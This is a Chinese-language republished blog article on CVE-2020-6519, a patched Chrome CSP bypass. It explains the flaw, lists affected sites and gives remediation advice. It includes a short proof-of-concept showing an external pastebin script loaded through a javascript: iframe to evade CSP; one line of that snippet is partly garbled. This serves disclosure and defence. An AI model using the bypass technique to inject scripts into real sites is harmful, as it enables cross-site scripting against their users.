千家信息网

Chrome浏览器的CSP策略是怎样绕过漏洞

发表于:2024-11-30 作者:千家信息网编辑
千家信息网最后更新 2024年11月30日,本篇文章给大家分享的是有关Chrome浏览器的CSP策略是怎样绕过漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。下面讲述了原作者发现
千家信息网最后更新 2024年11月30日Chrome浏览器的CSP策略是怎样绕过漏洞

本篇文章给大家分享的是有关Chrome浏览器的CSP策略是怎样绕过漏洞,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

下面讲述了原作者发现谷歌浏览器Chrome的CSP(内容安全策略)完全绕过漏洞(CVE-2020-6519),影响2019年3月之后发布的所有版本Chrome浏览器,从而导致很多大公司网站的CSP策略在该漏洞面前会完全失效。该漏洞最终收获谷歌奖励$3000。

CSP策略完全绕过的悲剧

非常震惊的是,我发现该漏洞存在基于Chromium内核的Chrome、Opera和Edge系列浏览器,且影响Windows、Mac和Android平台,攻击者可以利用该漏洞,绕过自2019年3月起至2020年7月的所有Chrome内置CSP策略。

该漏洞的严重性在于,由于Chrome浏览器有超过20亿的用户,占据超过65%的浏览器市场,因此该漏洞潜在的受影响用户会达数十亿。

另外,很多大公司网站都存在该漏洞。如Facebook,WellsFargo, Gmail , Zoom, Tiktok, Instagram, WhatsApp, Investopedia, ESPN, Roblox, Indeed, Blogger, Quora等。

用简单方法完全突破Chrome的CSP策略限制

大家感兴趣的话,可以点此参考研究谷歌公开的POC验证文件,但漏洞原因总结来说就是:

通常情况下,在设置了CSP策略的Chrome浏览器中,如果要执行以下JS脚本,由于CSP策略不允许脚本中的源或操作执行,所以会在浏览端实现阻拦。(pastebin链接中是一段脚本):

/* this is a script that pops an alert message */top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';/* this call will fail due to CSP */var s = document.createElement("script"); s.src = top._CVE_URL; document.body.appendChild(s);

但是,如果用_javascript: src的iframe方式来运行上述JS脚本,则可以完全突破Chrome浏览器的CSP策略限制,成功实现脚本运行:

/* this is a script that pops an alert message */top._CVE_URL = 'https://pastebin.com/raw/dw5cWGK6';/* this call will succeed although CSP */document.querySelector('DIV')[xss_clean]="";

就这样简单粗暴!致使任意操作系统中的数十亿客户端浏览器就受到了影响,攻击者可以通过此种方式在其客户端中执行CSP提权,进而实现恶意代码执行。

这里要说明的是,有一些配置了CSP策略的网站并不受该漏洞影响,如Twitter, Github, LinkedIn, Google Play Store, Yahoo's Login Page, PayPal 和 Yandex,这些网站在客户端配置中应用了服务端形式的nonce 或 hash校验方式,因此其相对安全,不受影响。

漏洞影响

CSP,内容安全策略,即网站一种访问策略和规则,它告诉客户端哪些外部资源是可以在网站中加载执行 ,客户端以此为遵循,对网站发起访问。

在CSP策略规则下,网站可以针对客户端浏览器的JS代码等请求,执行允许/阻拦操作,避免客户端用户遭受XSS等攻击影响,以此形成安全屏障。

这里要明确的是,由于攻击者利用该漏洞,还需构建请求访问网站的恶意脚本,所以Chrome浏览器里的这个CSP策略绕过漏洞,并不能直接就影响到网站,这也是该漏洞被评级为中危的原因。

该漏洞的基本情况是,Chrome浏览器的这种CSP策略绕过缺陷,导致很多网站自身的CSP策略规则失效。这里分两种情况,第一,有些网站配置了严格的CSP策略,像上述的Twitter,该漏洞不能让其策略失效;第二,有些网站配置了一般的CSP策略,该漏洞可以让其CSP策略完全失效。

除以上提到的网站外,基于此漏洞情况,可以保守估计,包括电子商务、银行、电信、政府和公用事业在内的数以千计的行业网站都会受影响,攻击者可以利用该漏洞,向这些网站的客户端用户注入恶意代码。

可能有人会说,这种漏洞利用的前提是,攻击者必须在网站上获得代码执行权限啊,这样的CSP绕过漏洞没啥意思嘛。但我不这样认为。

因为大多数网站都依赖CSP策略来提供客户端的安全防护,所以,这种漏洞的出现,对网站自身的安全运行机制来说,就是一个严重的风险隐患。

半年前,我发现了WhatsApp Web/Desktop应用中的一个存储型XSS漏洞,其中就大量描述了CSP绕过漏洞可以导致的危害,其CSP绕过漏洞的危险之处在于,很多网站的不当CSP策略配置,可让攻击者注入恶意脚本,实现与任意网站相关域名的通信。

也正因为如此,要在网站中发现一个管理者不可控的代码执行漏洞非常之难,但是,这种漏洞如果一旦存在,就可能会对网站本身生成致命威胁。

漏洞测试

我自己编写了一个测试脚本,然后利用Chrome的开发者工具,就能简单测试出哪些网站受该漏洞影响。测试中调用的外部JS脚本链接为https://pastebin.com/raw/XpHsfXJQ,它会触发漏洞实现。

以下是Facebook网站存受该漏洞的影响情况:

以下是Github网站存受该漏洞的影响情况:

不受该漏洞的影响情况:

修复建议

对网站运营方来说,首先要确保网站有严格的CSP策略规则,其次就是可以考虑向其中加入一些服务端的nonce或hash校验措施,或是JS脚本和恶意代码注入检测机制,各种安全策略的共同配置,才能保证网站安全。对用户端来说,就更新Chrome吧,更新到84版本或更高版本。

漏洞补丁

谷歌的Chromium项目团队已及时修复了该漏洞,并在Chrome 84后进行了补丁更新,漏洞最终被评级为中危(CVSS 6.5),作者收获了$3,000的奖励。

以上就是Chrome浏览器的CSP策略是怎样绕过漏洞,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

0